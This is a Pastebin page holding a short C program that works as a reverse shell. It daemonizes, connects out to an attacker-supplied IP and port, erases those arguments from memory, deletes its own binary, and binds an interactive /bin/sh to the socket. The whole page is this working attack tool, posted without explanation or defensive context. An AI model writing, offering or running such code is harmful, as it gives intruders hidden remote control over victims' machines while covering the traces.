Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- int main(int argc, char *argv[])
- {
- int fd;
- struct sockaddr_in sin;
- char rms[21]="rm -f ";
- daemon(1,0);
- sin.sin_family = AF_INET;
- sin.sin_port = htons(atoi(argv[2]));
- sin.sin_addr.s_addr = inet_addr(argv[1]);
- bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
- fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
- if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
- perror("[-] connect()");
- exit(0);
- }
- strcat(rms, argv[0]);
- system(rms);
- dup2(fd, 0);
- dup2(fd, 1);
- dup2(fd, 2);
- execl("/bin/sh","sh -i", NULL);
- close(fd);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement